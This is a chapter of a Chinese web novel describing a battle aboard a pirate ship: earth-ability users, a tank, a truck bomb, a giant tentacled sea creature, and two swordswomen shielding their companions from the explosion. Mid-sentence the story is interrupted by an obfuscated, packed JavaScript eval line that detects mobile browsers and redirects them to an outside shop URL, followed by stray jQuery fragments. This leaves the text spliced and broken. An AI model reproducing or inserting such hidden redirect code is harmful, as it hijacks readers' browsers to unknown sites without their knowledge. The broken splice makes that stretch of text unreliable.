小童子和小龙女消失在船腹之后,甲板中央的压力骤然一轻。可这口气只松了短短一瞬,整艘黑船便又被海浪掀得猛地一斜,甲板上的食物、断刀和黑水全都往一侧滚去。
一个随行者扑过去捡起滚到脚边的矿泉水,第二个人立刻弯腰去抓饼干。眨眼之间,更多随行者动了,像被那点物资勾住了魂,纷纷冲出来,伸手去扫甲板上的食物。
随行者一动,整个战场便跟着乱了一下。海盗很快再次反扑,联合军也不得不重新组织防线。
圆形裂缝那头,指挥官的声音穿过风沙和枪声传来:“随行者立即下船!这次只搬运沙土!”
喊声一遍接一遍,可仍有随行者不听从命令。有人还想多抓两袋饼干,有人甚至把糖果往衣服里塞。
指挥官的声音骤然冷了下去:“不遵守指令者,取消所有贡献,并就地枪决!”
这一句落下,随行者才像被冰水兜头浇醒,逗留的人们脸色惨白地松开物资,连滚带爬冲向裂缝。很快,一袋袋黄沙从沙漠那头被搬上甲板,割开的沙袋在湿黑木板上铺出一片片粗粝沙土。
指挥官再次大喊:“土系异能者左翼上船,右翼稳住沙桥!”
十名土系异能者冲上甲板,一齐挥起甲板上的沙土。黄沙在他们掌下猛地翻卷起来,如同一整块粗糙巨幕,贴着甲板向前铺开。扑来的海盗被沙土裹住身体,一批又一批被卷起,直接甩进灰黑大海。
那些海盗刚砸进浪里,水下便有阴影动了。几条粗得像桅杆的巨型触手从深处探出,缠住还在挣扎的海盗,将它们拖向海面下方。灰浪翻了几下,很快又合拢,只剩几圈浑浊的涟漪。
与此同时,沙漠深处传来沉重轰鸣。一辆坦克从黄沙中驶出,履带碾上临时垒起的沙路。沙路下方的土系异能者齐齐变了脸,有人牙关咬得渗血,有人眼角直接淌出血泪。承住一台坦克的重量,已经远远超过他们平日能轻松掌控的极限。
可沙路终究没有塌,坦克上到与异常区海盗船腹齐平的位置,炮管对准异常区深处,轰然开火。炮弹打穿最近那艘海盗船的船腹,又从另一侧破出,继续撞进后方第二艘船。下一刻,第二艘船腹部轰然炸开,火光和黑木一起掀上半空,整艘船被炸空,只剩底部还勉强连着一副焦黑残骸。
炮声未落,坦克迅速倒退,一辆大卡车稳稳开上前。沙漠区的土系异能者齐齐跪倒,几人当场吐出血来,沙路开始崩塌。
指挥官没有给他们喘息的时间:“船上土系异能者回身帮忙!全部给我把沙路垒起来!”
甲板上的土系异能者立刻回身,双掌齐齐压下。散在甲板上的沙土被拉成长带,和裂缝那头的沙路接在一起,硬生生垒出一条能让卡车通过的沙桥。
卡车开到与船腹的巨洞齐平后,司机跳下车,连滚带爬撤回沙漠区。
“将卡车送入船腹!”
船上和船下的三十来个异能者同时抬手,黄沙从车轮下翻起,托住卡车底盘,将那辆沉重的铁车一点点送进海盗船被炮弹打穿的腹部。
“全军撤退!”联合队听见命令,立刻开始后撤。
最后一批人退回沙漠区后,连接异常区的沙路轰然塌下,黄沙重新落回地面。
开荒队和随行者队被带到后方清点人数,开荒队死亡过半,剩下的人里大多带伤;随行队相对好些,仍有三分之一的人没有受伤。贡献当场兑现,随后,开荒队和随行队被宣布解散,又在武装人员的看护下,被“请”离了现场。
联合队却没有全部离开,运输车辆和坦克有序离开,火力部队和设备部队留在原地,枪口、炮口和探测设备全都对准那片异常海域。
指挥官紧盯着异常区里的那片海域,没过多久,灰黑海面下果然有东西动了。一条条巨型触手从水里探出,湿滑的粉白皮肉贴上海盗船船底和船舷,开始缓缓收紧,像尝过血腥味后终于按捺不住探向猎物的深海巨物。
被缠住的海盗船立刻乱了,甲板上的海盗怪物嘶吼着四散奔逃,有的攀上桅索,有的慌不择路跳向那艘只剩底部的焦黑残骸,更多的则扑向另一艘还能动的海盗船。那艘船也察觉到危险,急急调转船头,破帆被海风鼓起,想要逃离这片海域。
巨型触手越缠越紧,整艘海盗船被勒得木板爆裂,船腹和桅杆同时发出不堪重负的断响。
指挥官等的就是这一刻,他按下点火按钮。
海盗船腹深处,那辆装满炸药的卡车轰然爆开。火光从船身裂缝里喷出,整艘船被炸得猛地一鼓,随即从中间散架。
三条巨型触手当场被炸断,粉白断口在鲜血里疯狂抽搐。藏在海面下的庞然巨物仍看不清全貌,只能看见更多触手在水中翻搅,掀起一圈圈浑浊浪花。
可它并没有松开猎物,没被炸断的触手仍旧死死缠住那艘断成两截的海盗船,拖着燃烧的残骸和还没来得及逃走的海盗,一点点沉向深海。
指挥官看着那片翻涌的黑水,声音仍然冷静:“第二阶段准备!”
---------
小童子和小龙女刚从甲板跃入船腹,脚底才沾到湿木板,胃里便先翻了一下,酸水直往喉间涌。
这里没有风,泡水腐木的酸气、海盗身上的汗臭、火药烟的呛人味道,还有霉烂鱼肉与其他海鲜尸身裂开后的腥气,全被闷在船腹里,厚得像一层湿布,贴着口鼻往里涌。
小童子被那股味道顶得一口气没换顺,眼前的火光顿时晃成了两三重;小龙女也屏住呼吸,袖下手指微微一紧,眉心极轻地蹙了一下。
这里的声音也更乱,甲板上的枪炮声隔着木板闷闷砸下来,海浪在船腹外一下一下拍,铁链从头顶拖过去,木桶滚着撞上舱壁,怪物的吼声也被狭窄船腹撞出回音,分不清远近。
小童子和小龙女侧耳去寻李秀宁和铁心兰的呼吸,却只听见那些声音在舱壁间来回翻涌。
下一瞬,黑暗里先亮起几道锈刀的冷光。
小龙女没有说话,剑已经出鞘,她矮身避开横梁下劈来的锈刀刃,反手一剑削掉半截手腕。断腕落进黑水里,水面冒出一串腥泡。
有海盗从倾斜的楼梯下扑来,小童子一脚踢飞对方;小龙女从她身侧掠过,剑尖轻轻一点,另一只海盗的喉间便多了一线黑血。
她们终于在断梁后看见了李秀宁和铁心兰,两人被困在断梁后方,仅从一个狭小的开口抵抗一层层海盗。
也就在那一眼之间,船侧轰然一沉。四周的木壁像被什么庞然大物从外面撞了一拳,整片船腹猛地斜过去。
李秀宁和铁心兰重心不稳,一下子撞上舱壁;小童子和小龙女同时提气,努力稳住身形。
下一秒,一枚炮弹从船侧贯穿进来。
厚重木壁先是向内一鼓,随即被硬生生撕开。黑木、铁片和烧红的钉子一起炸散,炮弹拖着火线从她们头顶斜上方掠过去,又在另一侧船壁轰出一个大洞,带着尖锐啸声冲向外面的海雾。
隔着破开的洞口看去,远处另一艘海盗船腹部紧跟着爆出刺眼火光。那火光从船身里面炸开,将半截船舱直接掀碎,黑木和铁片像雨一样砸向海面。小童子只来得及看见那艘船塌下去一大块,最后只剩底部还连着。
这一炮没有在她们所在的船里炸开,可贯穿时带起的狂风从两个破洞间猛地一扯,船腹里原本闷死的臭气被卷散大半,又立刻混进焦木和火药烟的味道,呛得人胸口发闷。
小童子咬破舌尖,血腥味压过那股恶臭,眼前才清明了些。
她和小龙女冲到李秀宁、铁心兰附近。正缠着她们的海盗还没来得及转身,便被断头、穿喉。
“走。”小龙女道。
可船腹里哪里还有完整的路,货箱倒了一地,断梁横七竖八,脚下黑水随着船身摇晃来回涌。四人刚绕过一只破开的铁笼,前方黑暗里忽然多了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947904|209414||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
团庞大的阴影。
那东西被黄沙托着,从船腹破口一点点滑进来。车身太重,压得沙土簌簌往下掉,铁皮擦过破木,发出令人牙酸的声响。
小童子盯着它:“那是什么?”
“卡车。”李秀宁认得卡车,却想不明白,为什么有人要把这样一辆车送进船腹部。
铁心兰则拉了李秀宁一把:“管它是什么,赶紧走,这里臭死了。”
四人脚步刚动,脚下的船板先低低呻吟了一声。接着,头顶横梁一根接一根弯下去,钉子从木板里崩出来,叮叮当当地落了一地。
左侧和右侧的舱壁都在向内鼓,连她们身后的楼梯都被挤得咯吱作响。海水从缝里喷进来,海盗怪物的嘶吼忽然变了调,不再是凶狠,而是惊恐。
它们开始往外逃,有的撞开同伴,有的拖着断腿往上爬。
小童子耳朵一动,她听见卡车深处传来极轻的一声响。
咔。
小龙女也听见了,两人同时回头。
两人来不及分辨那是什么,身体已经先一步扑向李秀宁和铁心兰。她们半跪下去,双臂同时张开,又在对方背后死死扣住,将李秀宁和铁心兰拢进彼此身体之间、腹下那一点空隙里。
下一刻,白光和爆炸声同时填满了整艘船腹。小童子和小龙女只觉得眼前一白,耳膜像被重锤狠狠砸中,爆炸声在耳边轰然炸开,带来一片尖锐耳鸣。
玉女心经的本源内力在这一刻被逼到尽头,两人气息相接,原本各自行走的内力猛地汇成一股,在她们抱紧的身体之间急速旋转,像高速旋转的涡轮。那旋转越来越快,快到经脉都被扯得发疼,快到小童子和小龙女几乎分不清哪一缕是自己的,哪一缕是对方的。
同一瞬间,四人身边的一切都被强大的爆炸吞没。货箱、断梁、铁笼、黑水,连扑到近前的海盗怪物,都在白亮火浪里塌陷、焦黑、汽化,只剩一团浑浊热雾。
爆炸席卷而来的瞬间,那团高速旋转的内力立刻迎了上去,四人同时也被撞来的冲击力狠狠掀飞出去。小童子和小龙女体内的内力被逼得疯狂流转,一圈快过一圈,如同无数细小剑锋绕着四人急速切割,将那股毁天灭地的爆炸威力一层层削开,死死护住四人。
可爆炸仍然太重,小童子和小龙女的内力越来越弱,两人喉间都泛起浓厚的血腥味。小龙女扣在小童子背后的手指骤然收紧,小童子也本能地收紧手臂。
李秀宁和铁心兰被死死拢在中间,只觉身体骤然失重,耳边全是嗡鸣。
更远处的木板和铁件成片崩裂,碎片被气浪裹着追上来。四人被余波推着撞向船舱深处,先撞断一根横梁,又擦过倾斜的舱壁。
小童子和小龙女谁也没有松手,她们抱着彼此,像用身体和内力结成一个摇摇欲裂的壳。腥臭热雾贴着皮肤烧过去,衣料焦了,发尾卷了,内力一层层被磨薄,又被两人硬生生从丹田里榨出新的补上。
李秀宁和铁心兰被护在里面,看不见外面发生了什么,只能听见小童子和小龙女越来越沉重的呼吸,以及她们撞上残骸时压在喉间的闷哼。
最后一层冲击力贴上来,小童子和小龙女体内剩下的内力几乎同时涌出,旋转着迎向那股冲击。两股力量在半空里狠狠一抵,内力被磨尽,冲击也被抵消得只剩最后一点余波。
四人从半空摔下,砸在船腹最底层一片倾斜的残板上。
血从小童子和小龙女的唇角落下,滴在李秀宁手背上、铁心兰的脸上。
小童子和小龙女仍保持着相抱的姿势,可两人身上的内力已经空了。
小童子眼前一阵阵发黑,扣在小龙女背后的手终于失了力,慢慢滑落下去。她额头抵在小龙女肩上,呼吸轻得几乎听不见。
小龙女指尖动了一下,似乎还想把她重新抱紧,可体内已经再榨不出半分内力。下一瞬,她眼底最后一点清明也散了,下颌轻轻垂落。